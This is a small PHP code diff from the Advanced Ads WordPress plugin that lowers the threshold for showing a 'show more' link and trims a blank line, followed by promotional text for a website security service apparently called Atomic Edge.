@@ -55,7 +58,7 @@
 	?>
 </div>

-<?php if ( $ad_count > 4 ) : ?>
+<?php if ( $ad_count > 3 ) : ?>
 <p>
 	<a href="javascript:void(0)" class="advads-group-ads-list-show-more">
 	<?php
@@ -80,5 +83,4 @@

 	/* translators: amount of ads displayed */
 	echo '<p>' . esc_html( sprintf( _n( 'Up to %d ad displayed.', 'Up to %d ads displayed', $ad_count, 'advanced-ads' ), $ad_count ) ) . '</p>';
-
 endif;

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School